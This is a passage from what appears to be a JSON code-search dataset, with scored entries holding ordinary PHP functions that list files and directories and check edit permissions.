"0.587882", "text": "public function getFiles(){\n $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($this->baseDir));\n\n $files = array();\n foreach ($rii as $file) {\n\n if ($file->isDir() || $file == '.' || $file == '..'){\n continue;\n }\n\n\n $filePath = $file->getPathname();\n $fileName = $file->getFilename();\n $subPathName = $rii->getSubPathName();\n\n\n $files[] = array(\n 'fileName' => $fileName,\n 'filePath' => $subPathName,\n 'imgPath' => '../tmp/'.$subPathName,\n );\n }\n return $files;\n }", "title": "" }, { "docid": "c00a7530570854baaed65b2f7cdbd7fb", "score": "0.5868449", "text": "function jsonSerialize(){\n $name = get_basename($this->path);\n $array = [];\n $array['name'] = $name;\n //$array['title'] = $name;\n $array['dir'] = $name;\n $array['className'] = 'dir';\n $array['children'] = $this->to_a();\n return $array;\n }", "title": "" }, { "docid": "38824c192b6a066ca2bdec53fa66c45d", "score": "0.5866759", "text": "function getFullDirectoryList($dirArray){\n $fixedOnRequest = \"onrequest\";\n $fixedOnSpot = \"onspot\";\n $finalOut = array();\n $onRequestArray = array();\n $onSpotArray = array();\n array_push($onRequestArray, $fixedOnRequest);\n array_push($onSpotArray, $fixedOnSpot);\n\n $requestFileArray = array();\n $spotFileArray = array();\n\n $jsonKeyRequest = $fixedOnRequest;\n $jsonKeySpot = $fixedOnSpot;\n\n //if our directory array list is empty or otherwise unusable then return a failure\n if(!isset($dirArray) || !is_array($dirArray) || empty($dirArray)){\n return array(\"response\" => array(\"Error\" => \"Internal code error searching\"));\n }\n\n foreach($dirArray as $key => $value){\n $allFiles = scandir($value);\n foreach($allFiles as $file){\n //remove . and .. hidden files from list as not useful\n if(strlen(strstr($file, '.', true)) < 1) {\n continue;\n }else{\n //load request data array or onspot data array (Could be dangerous)\n if(strcmp($key, $jsonKeyRequest) == 0)\n array_push($requestFileArray, $file);\n else if(strcmp($key, $jsonKeySpot) == 0)\n array_push($spotFileArray, $file);\n }\n }\n }\n\n if(!empty($requestFileArray) || !empty($spotFileArray)){\n array_push($finalOut, 'response');\n }\n\n if(!empty($requestFileArray)){\n array_push($onRequestArray, array($requestFileArray));\n array_push($finalOut, array($onRequestArray));\n }\n\n if(!empty($spotFileArray)) {\n array_push($onSpotArray, array($spotFileArray));\n array_push($finalOut, array($onSpotArray));\n }\n\n if(empty($requestFileArray) && empty($spotFileArray)){\n $finalOut = array(\"response\" => array(\"Result\" => \"No records found\"));\n }\n\n return $finalOut;\n}", "title": "" }, { "docid": "8e1c0195e08597aaa3f1f10f8439f640", "score": "0.58601505", "text": "function getFileList($dir) { // Returns an array of files in a directory.\n\t$filelist = array();\n\t$subdirs = array();\n\tif ($dirlink = @opendir($dir)) {\n\t\t// Creates an array with all file names in current directory.\n\t\twhile (($file = readdir($dirlink)) !== false) {\n\t\t\tif ($file != \".\" && $file != \"..\") { // Hide these two special cases and files and filetypes in blacklists.\n\t\t\t\t$c = array();\n\t\t\t\t$c['name'] = $file;\n\t\t\t\t$c['type'] = \"file\";\n\t\t\t\t$c['writeable'] = is_writeable(\"{$dir}/{$file}\");\n\t\t\t\t//if (checkforedit($file)) {\n\t\t\t\t//\t$c['edit'] = TRUE;\n\t\t\t\t//}\n\t\t\t\t// File permissions.\n\t\t\t\t//if ($c['perms'] = fileperms(\"{$dir}/{$file}\")) {\n\t\t\t\t// $c['perms'] = substr(base_convert($c['perms'], 10, 8), 3);\n\t\t\t\t//}\n\t\t\t\t// $c['modified'] = filemtime(\"{$dir}/{$file}\");\n\t\t\t\t//$c['size'] = filesize(\"{$dir}/{$file}\");\n\t\t\t\t/*if (is_dir(\"{$dir}/{$file}\")) {\n\t\t\t\t\t$c['size'] = 0;\n\t\t\t\t\t$c['type'] = \"dir\";\n\t\t\t\t\tif ($sublink = @opendir(\"{$dir}/{$file}\")) {\n\t\t\t\t\t\twhile (($current = readdir($sublink)) !== false) {\n\t\t\t\t\t\t\tif ($current != \".\" && $current != \"..\" && checkfile($current)) {\n\t\t\t\t\t\t\t\t$c['size']++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tclosedir($sublink);\n\t\t\t\t\t}\n\t\t\t\t\t$subdirs[] = $c;\n\t\t\t\t} else {\n\t\t\t\t\t$filelist[] = $c;\n\t\t\t\t}*/\n\t\t\t\t$filelist[] = $c;\n\t\t\t}\n\t\t}\n\t\tclosedir($dirlink);\n\t\tsort($filelist);\n\t\tsort($subdirs);\n\t\t//return array_merge($subdirs, $filelist);\n\t\treturn $filelist;\n\t} else {\n\t\treturn \"dirfail\";\n\t}\n}", "title": "" }, { "docid": "f98f12c448d4b11ac1dc25fed23642ac", "score": "0.58467", "text": "function getSubDirToarray($dir)\n{\n if (is_file($dir))\n {\n $dir = dirname($dir);\n }\n // Is it necessary to convert to the fully expanded path?\n $dir = realpath($dir);\n // Do we need to worry about Windows?\n $dir = str_replace('\\\\', '/', $dir);\n // Here we filter leading, trailing and consecutive slashes.\n $array_dir = array_filter(explode('/', $dir));\n // All done!\n return $array_dir;\n}", "title": "" }, { "docid": "3ab2abfd30d674d39d9822e595c482bc", "score": "0.5837311", "text": "function instant_ide_get_dir_names( $dir ) {\n\t\n\tif ( ! is_dir( $dir ) )\n\t\treturn;\n\t\n\t$directories = scandir( $dir );\n\t$directory_array = array();\n\t\n\tforeach( $directories as $directory ) {\n\t\t\n\t if ( $directory === '.' or $directory === '..' )\n\t \tcontinue;\n\t\n\t if ( is_dir( $dir . '/' . $directory ) )\n\t\t\t$directory_array[] = $directory;\n\t\t\t\n\t}\n\t\n\treturn $directory_array;\n\t\n}", "title": "" }, { "docid": "edc8a1425ceaabbcdb2a0c984c357870", "score": "0.5820956", "text": "function GetDir($dir = \"\",$sort = \"\") {\n\n\t\taddLog( \"mpd->GetDir()\" );\n\t\t$resp = $this->SendCommand(MPD_CMD_LSDIR,$dir);\n\t\t$listArray = $this->_parseFileListResponse($resp);\n\n\t\tif ($listArray==null){\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\t// we have 3 differnt items: directory, playlist and file\n\t\t// we have to sort them individually and separate\n\t\t// playlist and directory by name\n\t\t// file by $sort\n\n\t\t// 1st: subarrays\n\t\t$array_directory \t= $listArray['directories'];\t\t\n\t\t$array_playlist \t= $listArray['playlists'];\t\t\n\t\t$array_file \t\t= $listArray['files'];\n\t\t\n\t\t// 2nd: sort them\n\t\tnatcasesort($array_directory);\n\t\tnatcasesort($array_playlist);\n\t\tusort($array_file,\"msort\"); \n\t\t// 3rd: rebuild\n\t\t$array_return= array( \n\t\t\t\t\t\t\"directories\"=> $array_directory,\n\t\t\t\t\t\t\"playlists\"=> $array_playlist,\n\t\t\t\t\t\t\"files\"=> $array_file\n\t\t\t\t\t\t\t\t);\n/*\n\t\t\t\t\t\t\t\t\t\n\t\tforeach ($array_directory as $value) {\n\t\t\t$array_return[][\"directory\"] = $value; \n\t\t}\n\t\tforeach ($array_playlist as $value) {\n\t\t\t$array_return[][\"playlist\"] = $value; \n\t\t}\n\t\t$array_return = array_merge($array_return,$array_file);\n*/\t\t\n\t\taddLog( \"mpd->GetDir() / return \".print_r($array_return,true));\n\t\treturn $array_return;\n\t}", "title": "" }, { "docid": "1ce6c47b5fad782b115649ed5628dd87", "score": "0.5816656", "text": "function liesdir($dir) {\n $dir = $_SESSION['crmpath'].\"/dokumente/$dir/\";\n if ( !file_exists($dir) ) return false;\n $cdir = dir($dir);\n while ( $entry = $cdir->read() ) {\n if ( !is_dir($entry) ) {\n $files[] = array(\"size\"=>filesize($dir.$entry),\"date\"=>date(\"d.m.Y H:i:s\",filemtime($dir.$entry)),\"name\"=>$entry);\n }\n }\n return $files;\n}", "title": "" }, { "docid": "092f34068062fcaa1396799dedce2ffe", "score": "0.5812291", "text": "function dirlist($path, $type= \"\", $ext= \"\")\n {\n $path = realpath($path);\n if ($handle = opendir($path))\n {\n $i = 0;\n $f = array ();\n $e = array ();\n while (false !== ($file= readdir($handle)))\n {\n if (strlen($file) > 2)\n {\n $temp = explode('.', $file);\n if (empty ($ext) or $temp[count($temp)-1] == $ext)\n {\n $f[$i] = !empty ($temp[0])\n ?str_replace(\".\".$ext,\"\",$file)\n :\"\";\n $e[$i] = !empty ($temp[count($temp)-1])\n ?$temp[count($temp)-1]\n :\"\";\n }\n }\n $i++;\n }\n closedir($handle);\n $files['name'] = $f;\n $files['ext'] = $e;\n if ($type != \"\")\n {\n return $files[$type];\n }\n return $files;\n }\n return null;\n }", "title": "" }, { "docid": "075021f96fe5582414c246749a83de98", "score": "0.5809458", "text": "public function ls() {\n\t\t// Setup\n\t\t$result = array();\n\t\t\n\t\t// Retrieve Directory Contents\n\t\t$entities = $this->rawlist('-1F');\n\t\t\n\t\t// Parse File/Directory Names\n\t\tif(is_array($entities) && count($entities)) {\n\t\t\t$result = preg_filter('/^(\\S+\\s+\\S+\\s+\\S+\\s+\\S+\\s+\\S+\\s+\\S+\\s+\\S+\\s+\\S+\\s+)?/', '', $entities);\n\t\t\t$result = preg_grep('/^([^.]|\\.(?!\\/$|(\\.(?=\\/$))))(.*)$/', $result);\n\t\t}\n\t\t\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "680613583255d624c4bfa48758d1a39b", "score": "0.58076876", "text": "function item($dir){\n\n\tforeach(scandir($dir) as $f) {\t\t\n\t\tif(!$f || $f[0] == '.') {\n\t\t\tcontinue; // Abaikan file tersembunyi\n\t\t}\n\t\t$files[] = array(\n\t\t\t\"name\" => $f\n\t\t);\n\t}\n\n\treturn $files;\n}", "title": "" }, { "docid": "92f720d3c821ef0dd2e0698e1d68106b", "score": "0.5803947", "text": "function listFolderFiles($dir){\n $ffs = scandir($dir);\n $i = 0;\n static $list = array();\n foreach ( $ffs as $ff ){\n if ( $ff != '.' && $ff != '..' ){\n if ( strlen($ff)>=5 ) {\n if ( substr($ff, -4) == '.php' ) {\n $list[] = $dir.\"/\".$ff;\n } \n } \n if( is_dir($dir.\"/\".$ff) ){\n listFolderFiles($dir.\"/\".$ff);\n }\n }\n }\n return $list;\n }", "title": "" }, { "docid": "245c8dddd48b5196013f9666f3312e65", "score": "0.5797617", "text": "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/sortable_tables.php',\n 'lang_custom/EN/sortable_tables.ini',\n 'themes/default/javascript_custom/sortable_tables.js',\n 'themes/default/templates_custom/SORTABLE_TABLE.tpl',\n 'themes/default/templates_custom/SORTABLE_TABLE_ROW.tpl',\n 'themes/default/css_custom/sortable_tables.css',\n 'sources_custom/blocks/main_sortable_table.php',\n 'uploads/website_specific/example.csv',\n 'themes/default/images_custom/sortable_tables/filter.gif',\n 'themes/default/images_custom/sortable_tables/index.html',\n 'themes/default/images_custom/sortable_tables/sortable.gif',\n 'themes/default/images_custom/sortable_tables/sorted_down.gif',\n 'themes/default/images_custom/sortable_tables/sorted_up.gif',\n );\n }", "title": "" }, { "docid": "a35f45e871fec58a5e5a426dbc28c3fa", "score": "0.578841", "text": "function createDirectoryStructure()\t{\n $this->debug(1, 'createDirectoryStructure');\n $subdirs = array(\n $this->getDestinationDir(),\n $this->getDestinationDir().'fileadmin/',\n $this->getDestinationDir().'fileadmin/_temp_/',\n $this->getDestinationDir().'fileadmin/user_upload/',\n $this->getDestinationDir().'fileadmin/user_upload/_temp_/',\n $this->getDestinationDir().'typo3conf/',\n $this->getDestinationDir().'typo3conf/ext/',\n $this->getDestinationDir().'typo3temp/',\n $this->getDestinationDir().'uploads/',\n $this->getDestinationDir().'uploads/dmail_att/',\n $this->getDestinationDir().'uploads/media/',\n $this->getDestinationDir().'uploads/pics/',\n $this->getDestinationDir().'uploads/tf/',\n );\n foreach ($subdirs as $key => $subdir) { \n $this->makeDirectory($subdir, false);\n }\n }", "title": "" }, { "docid": "58426b16fee90a422e596a4135439100", "score": "0.57695544", "text": "function elencafiles($dirname){\n$arrayfiles=Array();\nif(file_exists($dirname)){\n$handle = opendir($dirname);\nwhile (false !== ($file = readdir($handle))) {\nif(is_file($dirname.$file)){\narray_push($arrayfiles,$file);\n}\n}\n$handle = closedir($handle);\n}\nsort($arrayfiles);\nreturn $arrayfiles;\n}", "title": "" }, { "docid": "adb8e3d5c7dc6d515201135fb9fd7f6b", "score": "0.576744", "text": "function getRoutes() {\n\t\t$array = array_filter(scandir(__DIR__ . $this->prefix . $this->dir), function ($file) {\n\t\t\treturn str_contains($file, $this->needle);\n\t\t});\n\n\n\t\tforeach ($array as $key => $value) {\n\t\t\t$newKey = str_split($value, strpos($value, '.'))[0];\n\t\t\t$newKey = $newKey == 'index' ? '' : $newKey;\n\t\t\t$array[$newKey] = __DIR__ . $this->prefix . $this->dir . '/' . $value;\n\t\t\tunset($array[$key]);\n\t\t}\n\n\t\treturn $array;\n\t}", "title": "" }, { "docid": "7203d230f15ef693ed6bdb2d2304518d", "score": "0.5766816", "text": "function recurseDirectories($dir,$arr){\n\t$temparr = scandir($dir);\n\tforeach($temparr as $file){\n\t\tif(is_dir($dir.$file) && $file != \".\" && $file != \"..\"){\n\t\t\t$arr = recurseDirectories($dir . $file . '/',$arr);\n\t\t}\n\t\telse array_push($arr,$dir.$file);\n\t}\n\treturn $arr;\n}", "title": "" }, { "docid": "d046f4a1a211815f49267ebdc42e0c0d", "score": "0.57636404", "text": "public static function list_folders($path) {\r\n #$path = dirname(dirname(__FILE__)). '/uploader/images';\r\n $results = scandir($path);\r\n $groups = array();\r\n foreach ($results as $result) {\r\n if ($result === '.' or $result === '..') continue;\r\n\r\n if (is_dir($path . '/' . $result)) {\r\n //code to use if directory\r\n $groups[$path . '/' . $result] = $result;\r\n }\r\n }\r\n return $groups;\r\n }", "title": "" }, { "docid": "f30410785df636a86c887e57a34c0a92", "score": "0.57635427", "text": "private function getDirectoriesUsedByPhotoModels()\n {\n $this->photoModel->chunk(500, function (Collection $photos) use (&$directories) {\n /** @var Photo $photo */\n foreach ($photos as $photo) {\n $directories[] = $photo->directory_path;\n }\n });\n\n return $directories ?? [];\n }", "title": "" }, { "docid": "07b588493cd087acc21830ac04ae7f07", "score": "0.5762141", "text": "function getServiceListFromDir($dir, $subdir) {\n\t$arrFileNames = scandir($dir.$subdir);\n\trsort($arrFileNames); // sort revers order, most recent first\n\t\n\t$base_url = site_url().\"/..\".$subdir;\t\n\t$arrData = array();\n\tforeach ($arrFileNames as $file) {\n\t\tif (startsWith($file,\"20\") && endsWith($file, \".pdf\")) {\n\t\t\t$fileInfo = pathinfo($dir.\"/\".$file);\n\t\t\t//var_dump($fileInfo);\n\t\t\t$fileName = $fileInfo[\"filename\"];\n\t\t\t//var_dump($fileName);\n\t\t\t$fileExt = $fileInfo[\"extension\"];\n\t\t\t$year = substr($fileName,0,4);\n\t\t\t$month = substr($fileName,4,2);\n\t\t\t$dateObj = DateTime::createFromFormat('!m', $month);\n\t\t\t$monthName = $dateObj->format('F');\n\t\t\t$day = substr($fileName,6,2);\n\t\t\t$info = substr($fileName,8,255);\n\t\t\t$info = str_replace(\"oos\", \"\", $info);\n\t\t\t$info = str_replace(\"web\", \"\", $info);\n\t\t\t$info = ucwords(trim($info));\n\t\t\t\n\t\t\t$arrData[$file] = array();\n\t\t\t$arrData[$file][\"groupName\"] = $monthName.\" \".$year;\n\t\t\t$arrData[$file][\"info\"] = $info;\n\t\t\t$arrData[$file][\"name\"] = $day.\"-\".$month.\"-\".$year;\n\t\t\t$arrData[$file][\"link\"] = $base_url.\"/\".$fileName.\".\".$fileExt;\n\t\t}\n\t}\n\t\n\t//now build the correct list\n\t$arrGroup = array();\n\tforeach ($arrData as $fileData) {\n\t\t$groupName = $fileData[\"groupName\"];\n\t\tif (!isset($arrGroup[$groupName])) {\n\t\t\t$arrGroup[$groupName] = array();\n\t\t\t$arrGroup[$groupName][\"name\"] = $groupName;\n\t\t\t$arrGroup[$groupName][\"items\"] = array();\n\t\t}\n\t\t$idxItem = count($arrGroup[$groupName][\"items\"]);\n\t\t$idxItem++;\n\t\t$arrGroup[$groupName][\"items\"][$idxItem] = array();\n\t\t$arrGroup[$groupName][\"items\"][$idxItem][\"name\"] = $fileData[\"name\"];\n\t\t$arrGroup[$groupName][\"items\"][$idxItem][\"link\"] = $fileData[\"link\"];\n\t\t$arrGroup[$groupName][\"items\"][$idxItem][\"info\"] = $fileData[\"info\"];\n\t}\n\t\n\t// make it a normal array, indexed by number\n\t$result = array();\n\t$idxGroup = 0;\n\tforeach ($arrGroup as $group) {\n\t\t$idxGroup++;\n\t\t$result[$idxGroup] = $group;\n\t}\n\treturn $result;\n}", "title": "" }, { "docid": "586d9993d84be2f33285ff728085b20f", "score": "0.57618207", "text": "function get_recursive_dir_list($dir)\n{\n $result = array();\n $i = 0;\n \n //check if the specified dir exists\n if (!(file_exists($dir) && is_dir($dir)))\n {\n //print an error saying video not found for this start date\n echo \"The specified directory \".$dir.\"does not exists\\n\";\n return $result;\n }\n //open handle to dir\n if($camhdl = opendir($dir))\n {\n while(false !== ($datefld = readdir($camhdl)))\n {\n if ($datefld != \".\" && $datefld != \"..\")\n {\n //$result[i] = $datefld;\n if($datehdl = opendir($dir.\"/\".$datefld))\n {\n while(false !== ($timefld = readdir($datehdl)))\n {\n if ($timefld != \".\" && $timefld != \"..\")\n {\n if($timehdl = opendir($dir.\"/\".$datefld.\"/\".$timefld)) \n {\n //$i = 0;\n while(false !== ($videofile = readdir($timehdl)))\n {\n if($videofile != \".\" && $videofile != \"..\")\n {\n //read the videofile_.txt to \n if(pathinfo($videofile, PATHINFO_EXTENSION) == \"txt\")\n {\n //get the video file name\n $file = fopen($dir.\"/\".$datefld.\"/\".$timefld.\"/\".$videofile, \"r\") or exit(\"Unable to open file!\"); \n while(!feof($file))\n {\n $line = fgets( $file );\n if($line == \"\")\n continue;\n $filename = rtrim(strtok($line, \" \"));\n $result[$i][\"cameradir\"] = $dir;\n $result[$i][\"date\"] = $datefld;\n $result[$i][\"time\"] = $timefld;\n $result[$i][\"file\"] = $filename;\n strtok(\" \"); //objectsize\n strtok(\" \"); // x\n strtok(\" \"); //y\n $frame = rtrim(strtok(\" \"));\n $result[$i][\"image\"] = $filename.\"_\".$frame.\".jpg\"; \n $i = $i + 1;\n } //end while feof\n }//end if pathinfo\n }\n } //end while videofile\n closedir($timehdl);\n } //end if timehdl\n } //end if $timefld\n } //end while timefld\n closedir($datehdl);\n } //end if $datehdl\n }//end if $datefld\n }//while datefld\n closedir($camhdl);\n } //end if camhdl\n //sort the array before returning based on time and file name\n\n if(empty($result))\n return $result;\n\n foreach ($result as $key => $row) {\n $time[$key] = $row[\"time\"];\n $filname[$key] = $row[\"file\"];\n }//foreach\n array_multisort($time, SORT_ASC, $result);\n return $result;\n}", "title": "" }, { "docid": "7b29f90cf6b13a5503e48626314b143e", "score": "0.5757142", "text": "public function getList(): array {\n $list = array();\n $dir = $this->_docRoot . $this->_path;\n if (is_dir($dir)) {\n if ($dh = opendir($dir)) {\n while (($file = readdir($dh)) !== false) {\n if (substr($file, 0, 1) !== '.'\n && strpos($file, '.') !== false\n ) {\n $list[] = $file;\n }\n }\n closedir($dh);\n }\n } else {\n throw new Exception($dir . ' is not a directory.');\n }\n\n return $list;\n }", "title": "" }, { "docid": "124e35ab00482a95aa14d797ec312155", "score": "0.57418346", "text": "function getDir ($directory) {\n\t$aDir=array();\n\tif (empty($directory))\n\t\t$directory = './';\n\t$handle = openDir($directory);\n\twhile (false !== ($sFile=readDir($handle)))\n\t\tif ($sFile[0] != \".\" )\t\t\t// ignore \".\", \"..\", and \".thumbs\" \n\t\t\t$aDir[]=$sFile;\n\tcloseDir($handle);\n\tsort($aDir);\n\treturn $aDir;\n}", "title": "" }, { "docid": "023a6478ed425b9d271d6b69355f9b2d", "score": "0.5741062", "text": "public function directories($directory);", "title": "" }, { "docid": "023a6478ed425b9d271d6b69355f9b2d", "score": "0.5741062", "text": "public function directories($directory);", "title": "" }, { "docid": "dd94ef2de07c0987028d7b0a43321cd4", "score": "0.57370347", "text": "function getFileList($dir)\n{\n\t$retval = array();\n\n\t// add trailing slash if missing\n\tif(substr($dir, -1) != \"/\") $dir .= \"/\";\n\n\t// open pointer to directory and read list of files\n\t$d = @dir($dir) or die(\"getFileList: Failed opening directory $dir for reading\");\n\twhile(false !== ($entry = $d->read())) {\n\t // skip hidden files\n\t if($entry[0] == \".\") continue;\n\t if(is_dir(\"$dir$entry\")) {\n\t $retval[] = array(\n\t \"name\" => \"$dir$entry/\",\n\t \"type\" => filetype(\"$dir$entry\"),\n\t \"size\" => 0,\n\t \"lastmod\" => filemtime(\"$dir$entry\")\n\t );\n\t } elseif(is_readable(\"$dir$entry\")) {\n\t $retval[] = array(\n\t \"name\" => \"$dir$entry\",\n\t \"type\" => mime_content_type(\"$dir$entry\"),\n\t \"size\" => filesize(\"$dir$entry\"),\n\t \"lastmod\" => filemtime(\"$dir$entry\")\n\t );\n\t }\n\t}\n\t$d->close();\n\n\treturn $retval;\n}", "title": "" }, { "docid": "2d2e983f11f0bfad98d47654746a00f9", "score": "0.5728958", "text": "protected function setUpFilesDirectory() {\n $tasks = [];\n $tasks[] = $this->taskFilesystemStack()\n ->mkdir('web/sites/default/files')\n ->chgrp('web/sites/default/files', 'www-data', TRUE)\n ->chown('web/sites/default/files', 'www-data', TRUE)\n ->chmod('web/sites/default/files', 0770);\n return $tasks;\n }", "title": "" }, { "docid": "8903eeae428adb9d1169a774b05c4998", "score": "0.57247376", "text": "private function getFileList() {\n\t\treturn self::$file_list;\n\t}", "title": "" } ]
221c8d17b7865872023cc0d54a887f61
Checks whether a vdvk can be edited or not.
[ { "docid": "59e6622671d0d72d3564fafda5607771", "score": "0.0", "text": "public function canUpdateProposal($procurement)\n\t{\n\t\t/**\n\t\t * Abort request if Proposal status is 1(Approved), 3(Rejected)\n\t\t */\n\t\treturn abort_if(\n\t\t\tin_array($procurement->status, [1, 3]),\n\t\t\t403,\n\t\t\t'Proposal cannot be edited once approved or rejected.'\n\t\t);\n\t}", "title": "" } ]
[ { "docid": "f44cac5efa1049ecb6a154beb246ae79", "score": "0.6817154", "text": "public function canEdit(){\n\t\treturn $this->editCondition === null || $this->editCondition->isOk();\n\t}", "title": "" }, { "docid": "be87c250501ffaf4022536d43ebff644", "score": "0.6445704", "text": "public function canEdit()\n\t{\n\t\treturn true;\n\t}", "title": "" }, { "docid": "23bf2f7ed7d9d111709e1d64555e2fd5", "score": "0.6390915", "text": "public function can_edit() {\n\t\treturn $this->can_create();\n\t}", "title": "" }, { "docid": "8755d7278043011ce551960672467cc5", "score": "0.6378715", "text": "public function canEdit()\n {\n return true;\n }", "title": "" }, { "docid": "dbd9323af8a10397b603c4e4a7aaa987", "score": "0.626154", "text": "function m_verifyEdit()\n\t{\n\t\t$this->errMsg=\"\";\n\t\tif(empty($this->request['title']))\n\t\t{\n\t\t\t$this->err=1;\n\t\t\t$this->errMsg=MSG_GIFTWRAP_EMPTY.\"<br>\";\n\t\t}\n\t\t\n\t\t#VALIDATING EXISTING OPTION TITLE\n\t\t$this->obDb->query = \"SELECT iGiftwrapid_PK FROM \".GIFTWRAPS.\" where vTitle = '\".$this->request['title'].\"'\";\n\t\t$row_code = $this->obDb->fetchQuery();\n\t\tif($this->obDb->record_count != 0)\n\t\t{\n\t\t\tif($row_code[0]->iGiftwrapid_PK !=$this->request['id'])\n\t\t\t{\n\t\t\t\t$this->err=1;\n\t\t\t\t$this->errMsg.=MSG_GIFTWRAP_EXIST.\"<br>\";\n\t\t\t}\n\t\t}\n\t\treturn $this->err;\n\t}", "title": "" }, { "docid": "716f4a54e02f6c48583fb24dd52cd6ad", "score": "0.626146", "text": "public function can_be_edited() {\n return false;\n }", "title": "" }, { "docid": "bd186d7ff24bd2fc413ba495157cdde1", "score": "0.6258718", "text": "public function validateEdit()\n {\n //pobierz parametry na potrzeby wyswietlenia danych do edycji\n //z widoku listy osób (parametr jest wymagany)\n $this->form->review_id = ParamUtils::getFromCleanURL(1, true, 'Błędne wywołanie aplikacji');\n return !App::getMessages()->isError();\n }", "title": "" }, { "docid": "ddb7380a30b8bdb8a0a1099ebe74fbfd", "score": "0.6185453", "text": "public function canEdit() {\n\t\t// Managers can edit anything\n\t\t// Members cannot edit RESN, CHAN and locked records\n\t\treturn\n\t\t\t$this->parent->canEdit() && !$this->isPendingDeletion() && (\n\t\t\t\tAuth::isManager($this->parent->getTree()) ||\n\t\t\t\tAuth::isEditor($this->parent->getTree()) && strpos($this->gedcom, \"\\n2 RESN locked\") === false && $this->getTag() != 'RESN' && $this->getTag() != 'CHAN'\n\t\t\t);\n\t}", "title": "" }, { "docid": "0dbd6d9b125e400ef875ba588f7d0172", "score": "0.6150342", "text": "public function canManageVictorSettings()\n {\n return $this->sentryUser->hasPermission('manageVictorSettings');\n }", "title": "" }, { "docid": "18733c8ea1b4d216cc665b365ebe56ef", "score": "0.60648566", "text": "public function canEdit(){\n\t\treturn true;\n\t}", "title": "" }, { "docid": "d488f23f6fc0bb17c17192a948bd66f6", "score": "0.60570633", "text": "public function editsRequireReview() {\n\t\treturn (\n\t\t\t$this->isReviewable() && // reviewable page\n\t\t\t$this->isStableShownByDefault() && // and stable versions override\n\t\t\t$this->getStableRev() // and there is a stable version\n\t\t);\n\t}", "title": "" }, { "docid": "d26ad511e806e48695ab5cfd863e87c6", "score": "0.60100335", "text": "public function validateEdit() {\n // 1. sprawdzenie, czy ID został przekazany\n if (!(isset($this->form->id))){\n getMessages()->addError('Błędne wywołanie aplikacji');\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "828e997c0f91165bb55dbdce3b635bc5", "score": "0.5995964", "text": "protected function allowEdit($data = array(), $key = 'id')\n\t{\n\t\treturn true;\n\t}", "title": "" }, { "docid": "e30b60180aabddb7a2424f5ed811f3a5", "score": "0.5986507", "text": "public function canEdit()\n {\n return $this->negotiableQuoteHelper->isSubmitAvailable();\n }", "title": "" }, { "docid": "24ea23070f5b77b23fb933e4c396351b", "score": "0.5974919", "text": "public function isEditable()\n {\n return $this->_authorization->isAllowed('MindArc_Inventory::item_update');\n }", "title": "" }, { "docid": "93adea759c169ebb855097951dee350a", "score": "0.5971325", "text": "public function canView()\n {\n /** @var Concrete\\Core\\File\\Version $instance */\n return $instance->canView();\n }", "title": "" }, { "docid": "8bdfe5269f82b2be2edf3b5ec001b970", "score": "0.59693134", "text": "public function hasChangeKeysForbidden()\n {\n return $this->change_keys_forbidden !== null;\n }", "title": "" }, { "docid": "e4fe3084ae27c06211f3c45e32604593", "score": "0.5944258", "text": "protected function allowEdit($data = array(), $key = 'id')\n\t{\n\t\t$user = Factory::getUser();\n\t\t$edit = $user->authorise('core.type.edititem', 'com_tjucm.type.' . $this->ucmTypeId);\n\t\t$editOwn = $user->authorise('core.type.editownitem', 'com_tjucm.type.' . $this->ucmTypeId);\n\n\t\tif ($edit || $editOwn)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "7051df467fe2ae969ce763804071e177", "score": "0.5942533", "text": "protected function CanEdit()\n {\n return BackendModule::Guard()->Allow(BackendAction::Edit(), $this->page);\n }", "title": "" }, { "docid": "ef1a1141d94424b2ac94dc67c6136483", "score": "0.5938273", "text": "public function canEdit()\r\n {\r\n $canEdit = FALSE;\r\n if($this->itemId > 0)\r\n {\r\n $partnerId = $this->getPartnerId();\r\n if(current_user_can('manage_'.$this->conf->getExtensionPrefix().'all_items'))\r\n {\r\n $canEdit = TRUE;\r\n } else if($partnerId > 0 && $partnerId == get_current_user_id() && current_user_can('manage_'.$this->conf->getExtensionPrefix().'own_items'))\r\n {\r\n $canEdit = TRUE;\r\n }\r\n }\r\n\r\n return $canEdit;\r\n }", "title": "" }, { "docid": "642ad02816f49c2c0d161e6ad95206ef", "score": "0.593452", "text": "protected function allowEdit($data = array(), $key = 'id')\n {\n return true;\n }", "title": "" }, { "docid": "f1cbed8df8df81d981986a16ac9a5f3f", "score": "0.590046", "text": "public function isVersionCheck(){\n if ($_SERVER['REQUEST_METHOD'] != 'POST') return false;\n if ($this->data->status != \"VCHECK\") return false;\n return true;\n }", "title": "" }, { "docid": "ce50816b8506f7dabf7450255b6dedf7", "score": "0.5892614", "text": "public function hasEditInfo()\n {\n return $this->edit_info !== null;\n }", "title": "" }, { "docid": "b429d5a516ca160b0f66ad31cf3f21e5", "score": "0.5892345", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('innobyte_emag_marketplace/vouchers');\n }", "title": "" }, { "docid": "bb8c4a0338e280896dc8ceb5fedbfe68", "score": "0.58787364", "text": "protected function _isallowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('emailvision/emvdataprocessing');\n }", "title": "" }, { "docid": "27a722a30f09e375c503cd31a5c36867", "score": "0.58762556", "text": "public function canEdit()\n {\n if( UserEntity::me()->isAdmin() || $this->teacher_id == UserEntity::me()->id ){\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "001596a533e4ab082fd69f483c3a2417", "score": "0.58712083", "text": "public function canEdit()\n {\n if (!function_exists('current_user_can')) {\n return false;\n }\n if (current_user_can('edit_post', $this->ID)) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "506d5b442caa500df9178b43e43c37ab", "score": "0.5861234", "text": "function checkEditAccess() {\n\t\t$access = false;\n\t\t$currentGroups = GeneralUtility::trimExplode(',', $GLOBALS['TSFE']->fe_user->user['usergroup']);\n\t\t$allowedGroups = GeneralUtility::trimExplode(',', $this->conf['userGroups']);\n\t\tif (is_array($currentGroups) && count($currentGroups)) {\n\t\t\tforeach($currentGroups as $current) {\n\t\t\t\tif (GeneralUtility::inArray($allowedGroups, $current)) $access = true;\n\t\t\t}\n\t\t}\n\t\treturn 